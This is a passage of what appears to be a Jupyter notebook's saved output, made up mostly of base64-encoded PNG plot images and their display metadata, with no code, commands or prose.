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\n", "text/plain": [ "<Figure size 936x216 with 1 Axes>" ] }, "metadata": {} }, { "output_type": "display_data", "data": { "image/png": "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